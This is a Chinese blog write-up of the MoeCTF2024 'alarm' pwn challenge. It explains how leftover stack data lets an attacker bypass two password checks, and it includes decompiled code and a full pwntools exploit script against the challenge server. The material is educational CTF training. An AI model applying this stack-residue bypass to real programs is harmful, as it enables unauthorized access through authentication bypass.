MoeCTF2024_pwn_alarm Writeup

alarm_MoeCTF2024 Writeup

本题来自西电CTF,在此表示对此平台提供题目以及资源的感谢,链接地址:alarm地址
当我一开始看到这题时,脑子有点宕机的,请看Pic:
alt text
全副武装,基本和栈溢出是告别了。而作者最熟悉的也就是栈溢出了,但是问题不大,学习就是这样的,成功只是偶尔,失败才是探索路上的伴侣。

代码审计&程序,漏洞分析

  1. 前面看过不是栈溢出了,那直接分析代码吧。丢尽IDA后:
    alt text
    看到有四个函数,似乎down是给出正确密码的结果输出,直接看一眼,很明显,确实是的:
  write(1, "[Info] Passwords correct. Alarm shut down.\n", 0x2BuLL);
  stream = fopen("flag", "r");
  lineptr = 0LL;
  n = 0LL;
  getline(&lineptr, &n, stream);        # 读取./flag的第一行内容,并输出
  puts(lineptr);
  return v4 - __readfsqword(0x28u);
  1. 那么我们再看看怎么通过解密吧,先按照顺序看看上面的三个函数,首先是beep():
unsigned __int64 beep(){
  int v2; // [rsp+0h] [rbp-50h]
  char v3[62]; // [rsp+4h] [rbp-4Ch] BYREF
  _WORD v4[7]; // [rsp+42h] [rbp-Eh] BYREF

  *(_QWORD *)&v4[3] = __readfsqword(0x28u);
  v2 = (arc4random() & 3) + 1;
  while ( v2-- ){
    set_alarm_str(v3);
    strcpy((char *)v4, "\n");
    fputs(v3, stdout);
    fflush(stdout);
    sleep(1u);
  }
  return *(_QWORD *)&v4[3] - __readfsqword(0x28u);
}

发现还有一个set_alarm_str()函数,似乎是密钥的生成函数,看一下:

void __fastcall set_alarm_str(__int64 a1){
  int i; // [rsp+18h] [rbp-8h]
  int v2; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i ){
    v2 = 8 * i;
    *(_BYTE *)(a1 + v2) = pool_b[arc4random() & 3];
    *(_BYTE *)(a1 + v2 + 1LL) = pool_e[arc4random() & 3];
    *(_BYTE *)(a1 + v2 + 2LL) = pool_e[arc4random() & 3];
    *(_BYTE *)(a1 + v2 + 3LL) = pool_p[arc4random() & 3];
    *(_BYTE *)(a1 + v2 + 4LL) = pool_1[(unsigned int)arc4random() % 3];
    *(_BYTE *)(a1 + v2 + 5LL) = pool_1[(unsigned int)arc4random() % 3];
    *(_BYTE *)(v2 + 6LL + a1) = 7;
    *(_BYTE *)(v2 + 7LL + a1) = 32;
  }
}

查看它的pool_e等数组,不难发现,它其实是一个类似洗牌的效果,洗牌的次数随机,但是结果都是在某种范围内的,不过由于随机性,我们基本不能预测到。不过它洗牌的结果只选择最后一次(覆写v3)。不管它,继续看下去吧。

  1. 看看voice_pwd()函数:
unsigned __int64 voice_pwd(){
  char s2[16]; // [rsp+0h] [rbp-30h] BYREF
  char v2[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  write(1, "[Error] Voice password not initialized!\n", 0x28uLL);
  write(1, "[Warn] Using auto generated password.\n", 0x26uLL);
  write(1, "[Info] Speak out the voice password.\n", 0x25uLL);
  s2[15] = 0;
  len = read(0, v2, 0x17uLL);
  if ( len <= 0 ){
    write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
    _exit(1);
  }
  v2[len] = 0;
  if ( strcmp(v2, s2) ){
    write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
    _exit(1);
  }
  write(1, "[Info] Voice password correct.\n", 0x1FuLL);
  return v3 - __readfsqword(0x28u);
}

让人很迷惑的是:s2似乎没有初始化,那么它要验证的数据是?没错就是栈残留的数据。那么我们只需要拿到栈上残留的数据,再进行输入给v2就能cmp成功。怎么拿到呢?先不妨看看它的栈地址:rbp-30h,我们之前记得beep()和voice_pwd()函数是同一层(main的直接子节点),所以它们的rbp是相同的,只是rsp不同,所以可以通过计算地址拿到对应的数据,输入给v2即可。同时值得我们注意的是v2做了一个截断处理: v2[len] = 0;这似乎是为了能通过strcmp,不过它为什么给了24B空间而不是像s2一样给16B呢?应该是后续的输入还有作用。不管了,先看看别的函数吧。
4. 看看num_pwd()

unsigned __int64 num_pwd(){
  __int64 v1[2]; // [rsp+8h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  write(1, "[Error] Numeric password not initialized!\n", 0x2AuLL);
  write(1, "[Warn] Using auto generated password.\n", 0x26uLL);
  write(1, "[Info] Input the numeric password.\n", 0x23uLL);
  __isoc99_scanf("%zu", v1);
  if ( v1[0] > 0x1869FuLL || v1[0] <= 0x270FuLL || v1[1] != v1[0] ){
    write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
    _exit(1);
  }
  write(1, "[Info] Numeric password correct.\n", 0x21uLL);
  return v2 - __readfsqword(0x28u);
}

它对我们的输入做了一个比较:0x1879F <= v1[0] == v1[1] <= 0x270F,通过print我们可以发现这其实是让我们输入两个一样的5位数:
alt text
However,它没给我们输入两个数的机会:scanf("%zu",v1); 格式化输入%zu会限定我们输入,不会写到v1[1]去,那么怎么使得v1[1]也写入数据呢?不可能指望未初始化的v1[1] == v1[0]的。
是的,就是栈数据遗留数据:__int64 v1[2]; // [rsp+8h] [rbp-18h] ,我们可以看到,它的地址和函数的调用位置,说明它可以利用上一个函数对栈写入特定数据,从而通过验证。而voice_pwd()函数给了那么一个写入位置

char v2[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

那么通过写入v2的末端的8B就可以了。这里解释一下为什么v2是char类型,而v1是__int64类型却可以使得相等?其实对于IDA来说,它并不能准确的解析出变量的类型,4B的变量是float还是int它并不能分析出来。我们也要灵活的使用内存,而不是仅限于而char数组对我们来说可以理解为有符号的字节数组,一样可以存放数值,只要按照一定的数值写入方式就可以保证它的输出,如:p64(12345)就会得到39 30 00 00 00 00 00 0a
alt text这个值在程序运行时,就会读取为12345。

Exploit设计

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

# p = process('./alarm')
p = remote("IP",52786)

# 它一直在覆写v3,只需要记住最后一个v3即可
line_v3 = bytes()
while True:
    tmp = p.recvline()
    if b"[Error]" in tmp :
        break
    line_v3 = tmp

# 对真正要进行的对比的地方保留,对后续要进行对比的Numric进行写入,注意只有23B
passwd = line_v3[28:28+15]
paylaod = passwd + b'\x00' + p64(12345)[:7]
p.sendlineafter(b'voice password.\n',paylaod)

p.sendlineafter(b'numeric password.\n',b'12345')

p.interactive()

为什么它会存在这样的Vulnerable?

  1. 没有做栈资源清除,有栈遗留数据可被利用,即Stack-based Residual Data Leak。
  2. 设计的函数层次都在main调用,如果它能设计更加复杂的结构或是利用别的方式调用函数,避免rbp都在一个位置,那么要进行资源利用的难度就会大幅度上升,甚至无法利用。
  3. 在使用strcmp时使用0截断辅助而不是使用strncmp将提高程序风险,用可以通过0来截断判断,但不能截断输入。

这类栈数据遗留泄露的利用点:

  1. 密码,密钥泄露
  2. 校验绕过
  3. 数据泄露
  4. 辅助进行ROP/fake Struct攻击

好啦,本题的分析就此结束啦,谢谢大家的阅览,如果有任何意见和错误欢迎提出,再次感谢。

posted @ 2025-05-10 01:20  LibraCastle  阅读(37)  评论(0)    收藏  举报